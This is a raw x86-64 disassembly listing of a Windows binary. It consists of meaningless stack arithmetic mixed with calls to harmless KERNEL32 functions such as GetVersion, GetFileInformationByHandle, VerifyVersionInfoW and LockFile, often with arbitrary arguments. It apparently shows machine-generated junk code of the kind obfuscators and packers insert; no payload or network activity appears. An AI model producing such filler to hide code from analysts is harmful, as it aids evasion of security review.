mov qword [rsp + 0x136f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x57fc], eax
mov eax, dword [rsp + 0x9a5c]
mov ecx, dword [rsp + 0x9ae4]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140369ca0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a5c]
mov qword [rsp + 0x136f8], rax
movsx eax, word [rsp + 0x2b74]
mov rcx, qword [rsp + 0x12ec8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x512]
mov byte [rsp + 0x74b], al
movzx eax, word [rsp + 0x2bb4]
mov rcx, qword [rsp + 0x133c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bcc], ax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x72a], al
lea rax, [rsp + 0x9a28]
mov qword [rsp + 0x13700], rax
mov rax, qword [rsp + 0x13548]
mov rcx, qword [rsp + 0x13160]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12fc8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x733]
movzx ecx, byte [rsp + 0x361]
add eax, ecx
mov byte [rsp + 0x104], al
movzx eax, word [rsp + 0x2bc0]
movzx ecx, word [rsp + 0x1bd4]
and eax, ecx
mov word [0x140369c90], ax
mov rax, qword [rsp + 0x131a0]
mov rcx, qword [rsp + 0x12ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9198], eax
mov eax, dword [rsp + 0x9730]
mov dword [rsp + 0x9bc0], eax
mov rax, qword [rsp + 0x134e0]
mov rcx, qword [0x140369bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x13708], rax
mov rax, qword [rsp + 0x13248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13508]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13610]
mov word [rcx], ax
mov eax, dword [0x140362480]
mov ecx, dword [rsp + 0x5498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x81e0]
mov dword [rsp + 0x9bc4], eax
lea rax, [rsp + 0x2b74]
mov qword [0x140369cf8], rax
mov rax, qword [rsp + 0x12ef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x281], al
lea rax, [rsp + 0x746]
mov qword [rsp + 0x13710], rax
movzx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0x133b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
mov eax, dword [rsp + 0x99d8]
mov rcx, qword [rsp + 0x131a0]
mov qword [rsp + 0x13718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13718]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9688], eax
mov eax, dword [rsp + 0x5418]
mov ecx, dword [rsp + 0x9abc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135d0]
mov ecx, dword [rsp + 0x9a14]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x133e0]
mov dword [rcx], eax
lea rax, [0x140362478]
mov qword [rsp + 0x13720], rax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9ae8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134e8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
lea rax, [rsp + 0x2bc4]
mov qword [rsp + 0x13728], rax
lea rax, [rsp + 0x49c]
mov qword [0x140369d00], rax
mov eax, dword [rsp + 0x9b10]
mov ecx, dword [0x140369b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov rax, qword [rsp + 0x136d0]
mov rcx, qword [rsp + 0x130e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
lea rax, [0x14036246c]
mov qword [rsp + 0x13730], rax
lea rdx, [rsp + 0x42c68]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b04]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
lea rax, [rsp + 0x25a0]
mov qword [rsp + 0x13738], rax
movzx eax, byte [rsp + 0x728]
imul eax, eax, 0xfb
mov rcx, qword [rsp + 0x130d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6fc]
sub eax, ecx
mov byte [rsp + 0xe3], al
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x13740], rax
lea rax, [rsp + 0x9aa8]
mov qword [0x140369d08], rax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x870c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13308]
movzx eax, word [rax]
mov word [rsp + 0x2bf0], ax
movzx eax, byte [rsp + 0x72d]
mov rcx, qword [rsp + 0x12f90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x136a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x8880]
mov ecx, dword [rsp + 0x6a84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aa4], eax
lea rax, [rsp + 0x5418]
mov qword [rsp + 0x13748], rax
mov rax, qword [rsp + 0x136d0]
mov rcx, qword [rsp + 0x13300]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a48], eax
lea rax, [0x140369c68]
mov qword [rsp + 0x13750], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
lea rdx, [rsp + 0x42958]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a0c], eax
movzx eax, byte [rsp + 0x1f3]
movzx ecx, byte [rsp + 0x72f]
sar eax, cl
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bd8]
mov rcx, qword [0x140369bf8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140369cc0]
mov word [rcx], ax
mov dword [rsp + 0x4b370], 0x11c
lea rax, [rsp + 0x97b4]
mov qword [rsp + 0x13758], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
mov rax, qword [rsp + 0x13730]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13580]
mov qword [rsp + 0x13760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13760]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b3c], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a5c], eax
lea rax, [rsp + 0x9b78]
mov qword [rsp + 0x13768], rax
mov eax, dword [rsp + 0x9a70]
mov ecx, dword [rsp + 0x9bbc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
lea rax, [rsp + 0x268c]
mov qword [rsp + 0x13770], rax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
add eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov byte [rcx], al
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b34], eax
movzx eax, byte [rsp + 0x72d]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x733], al
mov rax, qword [rsp + 0x135c8]
movzx eax, word [rax]
mov rcx, qword [0x140369c20]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140369c88], ax
lea rax, [rsp + 0x9974]
mov qword [rsp + 0x13778], rax
mov rax, qword [rsp + 0x12fb0]
mov ecx, dword [rsp + 0x9a80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a34], eax
movzx eax, word [0x140362458]
movzx ecx, word [rsp + 0x2be0]
or eax, ecx
mov word [rsp + 0x26d0], ax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e7]
imul eax, ecx
mov byte [rsp + 0x13c], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
mov rax, qword [rsp + 0x12ea8]
mov ecx, dword [0x140369c8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b44], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov dword [rsp + 0x9bcc], eax
mov rax, qword [rsp + 0x13198]
mov rcx, qword [rsp + 0x13190]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x13780], rax
lea rax, [0x140369c6c]
mov qword [0x140369d10], rax
mov rax, qword [rsp + 0x13200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x716]
and eax, ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
mov eax, dword [rsp + 0x99d8]
mov dword [rsp + 0x9bd0], eax
mov rax, qword [rsp + 0x13088]
mov ecx, dword [rsp + 0x56e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x268c]
shl eax, cl
mov word [rsp + 0x2bdc], ax
lea rax, [rsp + 0x731]
mov qword [rsp + 0x13788], rax
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70d]
xor eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c5c], ax
mov rax, qword [rsp + 0x12f68]
mov ecx, dword [rsp + 0x9aec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b70], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a04], eax
lea rax, [rsp + 0x9b98]
mov qword [0x140369d18], rax
mov eax, dword [rsp + 0x9b28]
mov ecx, dword [rsp + 0x82a8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
lea rax, [rsp + 0x9bd0]
mov qword [rsp + 0x13790], rax
mov eax, dword [rsp + 0x9a54]
mov ecx, dword [0x140362464]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a48], eax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x280c]
mov word [rsp + 0x2bf4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.M2SANKNhO1lJ2JsAp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13798], rax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13170]
mov byte [rcx], al
mov rax, qword [rsp + 0x13108]
mov rcx, qword [rsp + 0x13688]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5418]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9ad8], eax
mov rax, qword [rsp + 0x13720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9730]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13680]
mov ecx, dword [rsp + 0x8ca0]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14036246c], eax
mov rax, qword [rsp + 0x13360]
movzx eax, word [rax]
mov word [rsp + 0x2bf8], ax
movzx eax, byte [rsp + 0x120]
imul eax, eax, 0xef
mov byte [rsp + 0x243], al
movsx eax, byte [rsp + 0x731]
mov rcx, qword [rsp + 0x13188]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12ed0]
mov byte [rcx], al
lea rax, [rsp + 0x1570]
mov qword [rsp + 0x137a0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9bd4], eax
mov rax, qword [rsp + 0x131f8]
mov eax, dword [rax]
mov ecx, dword [0x140369bc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
lea rax, [rsp + 0x8880]
mov qword [rsp + 0x137a8], rax
movzx eax, byte [rsp + 0x72b]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x585], al
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x137b0], rax
lea rax, [rsp + 0x9a64]
mov qword [0x140369d20], rax
mov eax, dword [rsp + 0x9a40]
mov rcx, qword [rsp + 0x12ec0]
mov qword [rsp + 0x137b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x137b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13660]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x585
mov r9d, 0x1477
mov r8d, 0x11fb
mov edx, 0xa88
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9b5c], eax
mov eax, dword [rsp + 0x9a54]
mov rcx, qword [rsp + 0x12fc8]
mov qword [rsp + 0x137c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x137c0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x137c8], rax
movzx eax, byte [rsp + 0x73f]
mov rcx, qword [rsp + 0x13710]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13170]
mov byte [rcx], al
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0x137d0], rax
mov rax, qword [rsp + 0x13048]
mov rcx, qword [rsp + 0x13540]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9aa0], eax
mov rax, qword [rsp + 0x13580]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
lea rax, [0x140369cd0]
mov qword [rsp + 0x137d8], rax
mov rax, qword [rsp + 0x135d8]
mov rcx, qword [rsp + 0x12ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140362478], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
lea rax, [rsp + 0x1570]
mov qword [rsp + 0x137e0], rax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
sub eax, ecx
mov byte [rsp + 0x512], al
movzx eax, word [rsp + 0x25a0]
movzx ecx, word [rsp + 0x1c5c]
sub eax, ecx
mov rcx, qword [rsp + 0x135c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x225], al
mov eax, dword [rsp + 0x9ac4]
mov ecx, dword [rsp + 0x9a28]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a6c]
mov dword [rsp + 0x9bd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x747]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x2e7], al
movzx eax, word [rsp + 0x2b80]
movzx ecx, word [rsp + 0x26d0]
or eax, ecx
mov word [0x140369cb8], ax
lea rax, [0x140369b78]
mov qword [rsp + 0x137e8], rax
mov rax, qword [rsp + 0x131c0]
mov rcx, qword [rsp + 0x13780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ae4]
movzx ecx, al
mov eax, dword [rsp + 0x9bc4]
sar eax, cl
mov dword [rsp + 0x9b44], eax
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov dword [rsp + 0x9bdc], eax
movzx eax, word [rsp + 0x2bc4]
movzx ecx, word [rsp + 0x2324]
shl eax, cl
mov rcx, qword [rsp + 0x133b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x740]
movzx ecx, byte [rsp + 0x225]
xor eax, ecx
mov byte [rsp + 0x5cb], al
mov rax, qword [rsp + 0x13350]
mov eax, dword [rax]
mov ecx, dword [0x140362470]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13768]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5498], eax
movzx eax, byte [rsp + 0x730]
mov byte [0x140363f0c], al
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x137f0], rax
mov rax, qword [rsp + 0x133b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13728]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bbc], ax
movzx eax, byte [rsp + 0x225]
mov byte [rsp + 0x74c], al
mov rax, qword [0x140369c40]
mov rcx, qword [rsp + 0x13450]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ac0], eax
mov rax, qword [rsp + 0x13080]
mov ecx, dword [rsp + 0x709c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132d8]
mov dword [rcx], eax
lea rax, [rsp + 0x9a5c]
mov qword [rsp + 0x137f8], rax
mov rax, qword [rsp + 0x12ee8]
mov ecx, dword [rsp + 0x9b08]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x136c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cfc], eax
movzx eax, word [rsp + 0x2bb8]
mov rcx, qword [rsp + 0x13308]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x133b8]
mov word [rcx], ax
lea rdx, [rsp + 0x42c68]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140369d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x131d0]
mov ecx, dword [0x140369bc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
lea rax, [rsp + 0x9950]
mov qword [rsp + 0x13800], rax
mov edx, 0x45
mov rcx, qword [rsp + 0x12f38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9be0], eax
mov eax, dword [rsp + 0x9678]
mov ecx, dword [rsp + 0x5810]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9998]
mov dword [rsp + 0x9be4], eax
mov dword [rsp + 0x20], 0x1b10
mov r9d, 0x3a8
mov r8d, 0x13f6
mov edx, 0x29aa
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9bd4], eax
movzx eax, word [0x140362450]
imul eax, eax, 0xd04
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x74d], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9be8], eax
mov rax, qword [rsp + 0x137f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e24]
sar eax, cl
mov rcx, qword [rsp + 0x134b0]
mov word [rcx], ax
mov rax, qword [0x140369cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x135a8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13550]
mov byte [rcx], al
lea rax, [rsp + 0x9a28]
mov qword [0x140369d28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x13580]
mov rcx, qword [rsp + 0x13328]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5610], eax
mov rax, qword [rsp + 0x13380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137d0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13380]
mov word [rcx], ax
mov rax, qword [rsp + 0x13460]
movzx eax, byte [rax]
mov byte [rsp + 0x74e], al
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5498]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x13758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5414], eax
lea rax, [rsp + 0x9b24]
mov qword [rsp + 0x13808], rax
mov dword [rsp + 0x20], 0x878
mov r9d, 0x184e
mov r8d, 0x28bd
mov edx, 0x1915
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a04], eax
mov rax, qword [rsp + 0x13570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8cfc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a5c], eax
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x13810], rax
movzx eax, byte [rsp + 0x716]
mov byte [0x140363f0d], al
mov rax, qword [rsp + 0x13518]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac4], eax
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ae8], eax
mov rax, qword [rsp + 0x13408]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81d0], eax
mov eax, dword [rsp + 0x9a30]
mov ecx, dword [rsp + 0x9bac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13190]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov dword [rsp + 0x9bec], eax
mov rax, qword [rsp + 0x13050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
add eax, ecx
mov rcx, qword [rsp + 0x13788]
mov byte [rcx], al
movsx eax, word [0x14036247c]
mov rcx, qword [rsp + 0x13630]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x268c], ax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
mov byte [rsp + 0x74f], al
movzx eax, word [rsp + 0x2bb8]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369ba0]
mov word [rcx], ax
mov eax, dword [rsp + 0x9bdc]
mov ecx, dword [0x140369c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5418], eax
lea rax, [rsp + 0x9b54]
mov qword [rsp + 0x13818], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2be0], ax
movzx eax, byte [rsp + 0x74e]
mov rcx, qword [rsp + 0x13278]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x703], al
mov eax, dword [rsp + 0x9ab4]
mov rcx, qword [rsp + 0x132a8]
mov qword [rsp + 0x13820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13820]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b28], eax
mov rax, qword [rsp + 0x133a0]
mov rcx, qword [rsp + 0x13490]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13210]
mov dword [rcx], eax
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x13828], rax
mov rax, qword [rsp + 0x132c8]
mov rcx, qword [rsp + 0x13530]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bf8]
mov rcx, qword [0x140369c50]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362488], ax
movzx eax, byte [rsp + 0x73f]
mov byte [rsp + 0x750], al
mov rax, qword [rsp + 0x13080]
mov ecx, dword [rsp + 0x9a74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ab0], eax
mov rax, qword [rsp + 0x13530]
mov eax, dword [rax]
mov ecx, dword [0x140369bc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bec], eax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x730]
or eax, ecx
mov byte [rsp + 0x66b], al
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9bf0], eax
mov rax, qword [rsp + 0x136a0]
movsx eax, word [rax]
mov rcx, qword [0x140369c10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1570], ax
lea rax, [rsp + 0x70d]
mov qword [rsp + 0x13830], rax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x13728]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a94], ax
mov eax, dword [0x140369bc4]
mov ecx, dword [rsp + 0x709c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9be4], eax
mov eax, dword [rsp + 0x62f0]
mov ecx, dword [rsp + 0x9b38]
add ecx, eax
mov eax, ecx
mov dword [0x14036244c], eax
lea rax, [rsp + 0x9b98]
mov qword [rsp + 0x13838], rax
mov rax, qword [rsp + 0x12d28]
mov ecx, dword [rsp + 0x9aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x134e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136c0]
mov eax, dword [rax]
mov dword [rsp + 0x9bf4], eax
movzx eax, byte [rsp + 0x225]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x49c], al
mov rax, qword [0x140369d10]
movzx eax, word [rax]
mov word [rsp + 0x2bfc], ax
mov rax, qword [rsp + 0x13108]
mov rcx, qword [rsp + 0x13118]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5c48], eax
mov rax, qword [rsp + 0x12f00]
mov eax, dword [rax]
